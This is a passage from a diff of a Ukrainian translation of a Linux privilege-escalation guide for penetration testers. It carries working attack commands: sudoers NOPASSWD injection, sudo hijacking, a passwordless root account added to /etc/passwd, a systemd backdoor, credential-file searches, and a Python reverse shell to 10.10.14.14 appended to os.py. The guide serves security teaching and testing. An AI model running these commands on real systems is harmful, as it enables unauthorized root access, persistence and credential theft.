`/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть бути прочитані лише користувачем root та групою root**.\ -**Якщо** ви можете **прочитати** цей файл, ви можете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **підвищити привілеї**. +Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть читатися лише користувачем root та групою root**.\ +**Якщо** ви можете **читати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записувати** будь-який файл, ви зможете **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Якщо ви можете писати, ви можете зловживати цим дозволом. +Якщо у вас є права на запис, ви можете ними зловживати. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Інший спосіб зловживати цими правами: +Ще один спосіб зловживати цими дозволами: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -980,17 +981,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Існують деякі альтернативи бінарному файлу `sudo`, такі як `doas` для OpenBSD, не забудьте перевірити його конфігурацію за адресою `/etc/doas.conf` +Існують деякі альтернативи бінарному файлу `sudo`, такі як `doas` для OpenBSD; не забудьте перевірити його конфігурацію у `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв, і ви отримали оболонку в контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який виконуватиме ваш код як root, а потім команду користувача. Потім **змініть $PATH** контексту користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконує sudo, ваш виконуваний файл sudo виконується. +Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для ескалації привілеїв і ви отримали shell у контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який виконуватиме ваш код як root, а потім команду користувача. Далі — **змінити $PATH** у контексті користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконає sudo, виконувався ваш виконуваний файл sudo. -Зверніть увагу, що якщо користувач використовує іншу оболонку (не bash), вам потрібно буде змінити інші файли, щоб додати новий шлях. Наприклад, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ви можете знайти інший приклад у [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Зауважте, що якщо користувач використовує інший shell (не bash), вам потрібно буде змінити інші файли, щоб додати новий шлях. Наприклад[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Інший приклад можна знайти в [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Або запустивши щось на зразок: +Або виконати щось на кшталт: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Скопіювавши бібліотеку в `/var/tmp/flag15/`, вона буде використовуватися програмою в цьому місці, як зазначено в змінній `RPATH`. +Копіювання lib у `/var/tmp/flag15/` призведе до того, що програма використовуватиме її в цьому місці, як вказано у змінній `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1056,41 +1057,42 @@ execve(file,argv,0); ``` ## Можливості -Linux capabilities надають **підмножину доступних привілеїв root для процесу**. Це ефективно розбиває привілеї root на **менші та відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином, повний набір привілеїв зменшується, знижуючи ризики експлуатації.\ -Прочитайте наступну сторінку, щоб **дізнатися більше про можливості та як їх зловживати**: +Linux capabilities надають **підмножину доступних root-привілеїв процесу**. Це фактично розбиває root **привілеї на менші й відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\ +Прочитайте наступну сторінку, щоб **дізнатися більше про capabilities і як ними зловживати**: + {{#ref}} linux-capabilities.md {{#endref}} -## Дозволи директорії +## Права директорій -У директорії **біт для "виконання"** означає, що користувач може "**cd**" у папку.\ -**Біт "читання"** означає, що користувач може **переглядати** **файли**, а **біт "запису"** означає, що користувач може **видаляти** та **створювати** нові **файли**. +У директорії біт **"execute"** означає, що відповідний користувач може "**cd**" у папку.\ +Біт **"read"** означає, що користувач може **переглядати** **файли**, а біт **"write"** означає, що користувач може **видаляти** та **створювати** нові **файли**. ## ACLs -Списки контролю доступу (ACLs) представляють собою вторинний рівень дискреційних дозволів, здатний **перекривати традиційні дозволи ugo/rwx**. Ці дозволи покращують контроль над доступом до файлів або директорій, дозволяючи або заважаючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень **деталізації забезпечує більш точне управління доступом**. Додаткові деталі можна знайти [**тут**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) представляють собою другий рівень дискреційних дозволів, здатний **перевизначати традиційні ugo/rwx права**. Ці дозволи підвищують контроль доступу до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або членами групи. Цей рівень **деталізації забезпечує більш точне управління доступом**. Детальніше можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Надайте** користувачу "kali" дозволи на читання та запис для файлу: +**Надати** користувачу "kali" права read і write на файл: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Отримати** файли з конкретними ACL з системи: +**Отримати** файли з певними ACL у системі: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Відкриті сеанси оболонки +## Відкриті shell сесії -В **старих версіях** ви можете **викрасти** деякі **сеанси оболонки** іншого користувача (**root**).\ -В **нових версіях** ви зможете **підключитися** лише до сеансів екрану **вашого власного користувача**. Однак ви можете знайти **цікаву інформацію всередині сеансу**. +У **старих версіях** ви можете **hijack** деяку **shell** сесію іншого користувача (**root**).\ +У **новіших версіях** ви зможете **connect** до screen sessions лише **вашого власного користувача**. Однак, ви можете знайти **цікаву інформацію всередині сесії**. -### викрадення сеансів екрану +### screen sessions hijacking -**Список сеансів екрану** +**Перелік screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1103,11 +1105,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux сесії хакінгу +## tmux sessions hijacking -Це була проблема з **старими версіями tmux**. Я не зміг захопити сесію tmux (v2.1), створену root, будучи неправавленим користувачем. +Це була проблема у **old tmux versions**. Я не зміг захопити tmux (v2.1) session, створену root, будучи non-privileged user. -**Список сесій tmux** +**Перелік tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1125,54 +1127,55 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Перевірте **Valentine box from HTB** для прикладу. +Перевірте **Valentine box from HTB** як приклад. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Усі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) між вереснем 2006 року та 13 травня 2008 року, можуть бути під впливом цього багу.\ -Цей баг виникає під час створення нового ssh ключа в цих ОС, оскільки **було можливих лише 32,768 варіацій**. Це означає, що всі можливості можна обчислити, і **маючи ssh публічний ключ, ви можете шукати відповідний приватний ключ**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Усі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) у період з вересня 2006 по 13 травня 2008 року, можуть бути уражені цією помилкою.\ +Ця помилка виникає при створенні нового ssh ключа в цих ОС, оскільки було можливе **лише 32,768 варіацій**. Це означає, що всі варіанти можна обчислити і, маючи публічний ssh-ключ, ви можете знайти відповідний приватний ключ. Ви можете знайти обчислені варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Цікаві конфігураційні значення +### SSH Interesting configuration values -- **PasswordAuthentication:** Вказує, чи дозволена аутентифікація за паролем. За замовчуванням `no`. -- **PubkeyAuthentication:** Вказує, чи дозволена аутентифікація за публічним ключем. За замовчуванням `yes`. -- **PermitEmptyPasswords**: Коли аутентифікація за паролем дозволена, вказує, чи дозволяє сервер вхід до облікових записів з порожніми рядками паролів. За замовчуванням `no`. +- **PasswordAuthentication:** Вказує, чи дозволена автентифікація за паролем. Значення за замовчуванням — `no`. +- **PubkeyAuthentication:** Вказує, чи дозволена автентифікація за публічним ключем. Значення за замовчуванням — `yes`. +- **PermitEmptyPasswords**: Якщо дозволена автентифікація за паролем, визначає, чи дозволяє сервер входи для облікових записів з порожнім паролем. Значення за замовчуванням — `no`. ### PermitRootLogin -Вказує, чи може root увійти за допомогою ssh, за замовчуванням `no`. Можливі значення: +Визначає, чи може root входити через ssh; значення за замовчуванням — `no`. Можливі значення: -- `yes`: root може увійти за допомогою пароля та приватного ключа -- `without-password` або `prohibit-password`: root може увійти лише з приватним ключем -- `forced-commands-only`: Root може увійти лише за допомогою приватного ключа, якщо вказані параметри команд -- `no` : ні +- `yes`: root може входити за паролем та приватним ключем +- `without-password` or `prohibit-password`: root може входити лише за приватним ключем +- `forced-commands-only`: root може входити лише за приватним ключем і тільки якщо вказані опції команд +- `no` : заборонено ### AuthorizedKeysFile -Вказує файли, які містять публічні ключі, що можуть бути використані для аутентифікації користувачів. Він може містити токени, такі як `%h`, які будуть замінені на домашній каталог. **Ви можете вказати абсолютні шляхи** (починаючи з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад: +Визначає файли, які містять публічні ключі, що можуть використовуватися для автентифікації користувача. Може містити токени на кшталт `%h`, які будуть замінені на домашній каталог. **Можна вказувати абсолютні шляхи** (що починаються з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ця конфігурація вказує, що якщо ви спробуєте увійти з **приватним** ключем користувача "**testusername**", ssh буде порівнювати публічний ключ вашого ключа з тими, що знаходяться в `/home/testusername/.ssh/authorized_keys` та `/home/testusername/access` +Ця конфігурація вкаже, що якщо ви намагатиметесь увійти за допомогою **private** key користувача "**testusername**", ssh порівняє public key вашого ключа з тими, що розташовані в `/home/testusername/.ssh/authorized_keys` та `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH агентне пересилання дозволяє вам **використовувати ваші локальні SSH ключі замість того, щоб залишати ключі** (без паролів!) на вашому сервері. Таким чином, ви зможете **перескочити** через ssh **на хост** і звідти **перескочити на інший** хост **використовуючи** **ключ**, розташований на вашому **початковому хості**. +SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (without passphrases!) на сервері. Таким чином ви зможете **jump** via ssh **to a host** і звідти **jump to another** host **using** the **key** located in your **initial host**. -Вам потрібно встановити цю опцію в `$HOME/.ssh.config` ось так: +Вам потрібно встановити цю опцію в `$HOME/.ssh.config` таким чином: ``` Host example.com ForwardAgent yes ``` -Зверніть увагу, що якщо `Host` дорівнює `*`, щоразу, коли користувач переходить на іншу машину, цей хост зможе отримати доступ до ключів (що є проблемою безпеки). +Зверніть увагу, що якщо `Host` має значення `*`, щоразу коли користувач підключається до іншої машини, ця машина зможе отримати доступ до ключів (що є проблемою безпеки). -Файл `/etc/ssh_config` може **перезаписати** ці **опції** та дозволити або заборонити цю конфігурацію.\ -Файл `/etc/sshd_config` може **дозволити** або **заборонити** пересилання ssh-agent за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням дозволено). +Файл `/etc/ssh_config` може **перезаписати** ці **опції** та дозволити або заборонити цю конфігурацію.\ +Файл `/etc/sshd_config` може **дозволяти** або **забороняти** ssh-agent forwarding за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням — allow). Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **ви можете зловживати цим для ескалації привілеїв**: + {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} @@ -1181,28 +1184,28 @@ ssh-forward-agent-exploitation.md ### Файли профілів -Файл `/etc/profile` та файли під `/etc/profile.d/` є **скриптами, які виконуються, коли користувач запускає нову оболонку**. Тому, якщо ви можете **записувати або змінювати будь-який з них, ви можете ескалувати привілеї**. +Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, які виконуються при запуску користувачем нового shell**. Тому, якщо ви можете **створювати або змінювати будь-який із них, ви можете ескалювати привілеї**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Якщо знайдено будь-який дивний профільний скрипт, ви повинні перевірити його на **чутливі дані**. +Якщо знайдено дивний скрипт профілю, слід перевірити його на **чутливі дані**. ### Файли Passwd/Shadow -В залежності від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або може бути резервна копія. Тому рекомендується **знайти всі з них** та **перевірити, чи можете ви їх прочитати**, щоб побачити **чи є там хеші**: +В залежності від OS файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або бути резервними копіями. Тому рекомендовано **знайти всі** та **перевірити, чи можна їх прочитати**, щоб побачити **чи є hashes** всередині файлів: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -В деяких випадках ви можете знайти **password hashes** всередині файлу `/etc/passwd` (або еквівалентного). +Іноді у файлі `/etc/passwd` (або його еквіваленті) можна знайти **password hashes** ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### Доступний для запису /etc/passwd -Спочатку згенеруйте пароль за допомогою однієї з наступних команд. +Спочатку згенеруйте пароль за допомогою однієї з таких команд. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker @@ -1216,34 +1219,34 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash Тепер ви можете використовувати команду `su` з `hacker:hacker` -Альтернативно, ви можете використовувати наступні рядки, щоб додати фіктивного користувача без пароля.\ -ПОПЕРЕДЖЕННЯ: ви можете знизити поточний рівень безпеки машини. +Альтернативно, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.\ +УВАГА: це може погіршити поточний рівень безпеки машини. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTE: На платформах BSD `/etc/passwd` знаходиться за адресою `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. +ПРИМІТКА: У BSD-платформах `/etc/passwd` розташований у `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. -Вам слід перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в якийсь **файл конфігурації служби**? +Вам слід перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в якийсь **файл конфігурації сервісу**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Наприклад, якщо машина працює на сервері **tomcat** і ви можете **змінити файл конфігурації служби Tomcat всередині /etc/systemd/,** тоді ви можете змінити рядки: +Наприклад, якщо на машині запущено сервер **tomcat** і ви можете **змінити файл конфігурації служби Tomcat всередині /etc/systemd/,** тоді ви можете змінити рядки: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Ваш бекдор буде виконано наступного разу, коли буде запущено tomcat. +Ваш backdoor виконається наступного разу, коли tomcat буде запущено. ### Перевірте папки -Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Можливо, ви не зможете прочитати останню, але спробуйте) +У наступних папках можуть міститися резервні копії або цікава інформація: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Можливо, ви не зможете прочитати останню, але спробуйте) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Дивні місця/Власні файли +### Дивне розташування/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1260,23 +1263,23 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Змінені файли в останні хвилини +### Змінені файли за останні хвилини ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Файли бази даних Sqlite +### Sqlite DB файли ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_історія, .sudo_as_admin_successful, профіль, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml файли +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml файли ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### Сховані файли +### Приховані файли ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Скрипти/Бінарні файли в PATH** +### **Скрипти/бінарні файли в PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1294,20 +1297,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Відомі файли, що містять паролі -Прочитайте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **декілька можливих файлів, які можуть містити паролі**.\ -**Ще один цікавий інструмент**, який ви можете використовувати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), який є відкритим програмним забезпеченням, що використовується для отримання багатьох паролів, збережених на локальному комп'ютері для Windows, Linux та Mac. +Перегляньте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **кілька можливих файлів, які можуть містити паролі**.\ +**Ще один цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — відкритий додаток, що використовується для отримання великої кількості паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. -### Логи +### Журнали -Якщо ви можете читати логи, ви можете знайти **цікаву/конфіденційну інформацію всередині них**. Чим дивніший лог, тим цікавішим він буде (ймовірно).\ -Також деякі "**погано**" налаштовані (з бекдором?) **аудиторські логи** можуть дозволити вам **записувати паролі** всередині аудиторських логів, як пояснено в цьому пості: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Якщо ви можете читати журнали, ви можете знайти в них **цікаву/конфіденційну інформацію**. Чим дивніший журнал — тим цікавішим він, ймовірно, буде.\ +Також деякі "**bad**" сконфігуровані (backdoored?) **журнали аудиту** можуть дозволити вам **записувати паролі** всередині журналів аудиту, як пояснюється в цій публікації: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Щоб **читати журнали, група** [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дійсно корисною. +Щоб **читати логи**, група [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною. -### Shell файли +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1320,66 +1323,68 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -Вам також слід перевірити файли, що містять слово "**password**" у **назві** або всередині **вмісту**, а також перевірити IP-адреси та електронні адреси в логах або регулярні вирази для хешів.\ -Я не буду перераховувати тут, як це все зробити, але якщо вас це цікавить, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Ви також повинні перевіряти файли, що містять слово "**password**" у своїй **назві** або в **вмісті**, а також шукати IP-адреси та email-и у логах або регулярні вирази для хешів.\ +Я не збираюся тут перераховувати, як робити все це, але якщо вам цікаво, ви можете переглянути останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). -## Writable files +## Файли, доступні для запису ### Python library hijacking -Якщо ви знаєте, **звідки** буде виконуватися python-скрипт і ви **можете записувати в** цю папку або ви **можете модифікувати python-бібліотеки**, ви можете змінити бібліотеку OS і встановити бекдор (якщо ви можете записувати, де буде виконуватися python-скрипт, скопіюйте та вставте бібліотеку os.py). +Якщо ви знаєте, **звідки** буде виконуватися python-скрипт і ви **можете записувати в** ту папку або можете **модифікувати python бібліотеки**, ви можете змінити бібліотеку os і backdoor її (якщо ви можете записувати туди, де виконуватиметься python-скрипт, скопіюйте та вставте бібліотеку os.py). -Щоб **встановити бекдор у бібліотеку**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT): +Щоб **backdoor the library**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -Уразливість у `logrotate` дозволяє користувачам з **права на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це пов'язано з тим, що `logrotate`, який часто працює як **root**, може бути маніпульований для виконання довільних файлів, особливо в таких директоріях, як _**/etc/bash_completion.d/**_. Важливо перевіряти права доступу не лише в _/var/log_, але й у будь-якій директорії, де застосовується ротація журналів. +Уразливість в `logrotate` дозволяє користувачам з **правами на запис** у файл журналу або в його батьківські директорії потенційно отримати підвищені привілеї. Це відбувається тому, що `logrotate`, який часто запускається як **root**, можна примусити виконати довільні файли, особливо в директоріях типу _**/etc/bash_completion.d/**_. Важливо перевіряти права не тільки в _/var/log_, а й у будь-якій директорії, де застосовується ротація логів. > [!TIP] -> Ця уразливість впливає на версію `logrotate` `3.18.0` та старіші +> Ця вразливість стосується `logrotate` версії `3.18.0` та старіших -Більш детальну інформацію про уразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Більш детальну інформацію про вразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Ви можете експлуатувати цю уразливість за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). +Експлуатувати цю вразливість можна за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). -Ця уразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(журнали nginx),** тому щоразу, коли ви виявляєте, що можете змінювати журнали, перевірте, хто керує цими журналами, і перевірте, чи можете ви підвищити привілеї, замінивши журнали на символічні посилання. +Ця вразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тому коли ви виявите, що можете змінювати журнали, перевірте, хто ними керує, і чи можна підвищити привілеї, підставивши журнали як symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Посилання на уразливість:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-` у _/etc/sysconfig/network-scripts_ **або** може **відкоригувати** існуючий, то ваша **система зламано**. +Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-` у _/etc/sysconfig/network-scripts_ **або** може **змінити** існуючий, то ваша **system is pwned**. -Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно так само, як .INI файли. Однак вони \~підключаються\~ на Linux через Network Manager (dispatcher.d). +Мережеві скрипти, наприклад _ifcg-eth0_, використовуються для мережевих підключень. Вони виглядають точно як файлові .INI. Однак вони \~sourced\~ в Linux через Network Manager (dispatcher.d). -У моєму випадку атрибут `NAME=` в цих мережевих скриптах не обробляється належним чином. Якщо у вас є **пробіли в імені, система намагається виконати частину після пробілу**. Це означає, що **все після першого пробілу виконується як root**. +У моєму випадку атрибут `NAME=` у цих мережевих скриптах обробляється некоректно. Якщо в імені є **пробіл/порожній символ, система намагається виконати частину після пробілу**. Це означає, що **все, що йде після першого пробілу, виконується як root**. -Наприклад: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Для прикладу: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +(_Зверніть увагу на пробіл між Network та /bin/id_) + ### **init, init.d, systemd, та rc.d** -Директорія `/etc/init.d` є домом для **скриптів** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Вона містить скрипти для `start`, `stop`, `restart`, а іноді `reload` сервісів. Ці скрипти можуть виконуватись безпосередньо або через символічні посилання, знайдені в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat - це `/etc/rc.d/init.d`. +Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit), **класичної системи управління сервісами в Linux**. Він включає скрипти для `start`, `stop`, `restart` і іноді `reload` сервісів. Їх можна виконувати безпосередньо або через символічні посилання, що знаходяться в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat — `/etc/rc.d/init.d`. -З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, введеною Ubuntu, яка використовує конфігураційні файли для завдань управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються разом з конфігураціями Upstart через шар сумісності в Upstart. +Натомість `/etc/init` пов’язаний з **Upstart**, новішою системою **управління сервісами**, впровадженою Ubuntu, що використовує конфігураційні файли для задач управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються поряд із конфігураціями Upstart через шар сумісності в Upstart. -**systemd** виступає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені функції, такі як запуск демонів за запитом, управління автоматичним монтуванням та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для дистрибутивних пакетів та `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи процес адміністрування системи. +**systemd** виступає як сучасний ініціалізатор і менеджер сервісів, пропонуючи розширені можливості, такі як запуск демонів за запитом, керування automount і знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для пакетів дистрибуції та в `/etc/systemd/system/` для змін адміністратором, що спрощує адміністрування системи. ## Інші трюки -### Підвищення привілеїв NFS +### NFS Privilege escalation {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Вихід з обмежених оболонок +### Escaping from restricted Shells {{#ref}} @@ -1393,29 +1398,38 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Захисти безпеки ядра +## Android rooting frameworks: manager-channel abuse + +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Більше допомоги +## Додаткова допомога -[Статичні бінарники impacket](https://github.com/ropnop/impacket_static_binaries) +[Static impacket 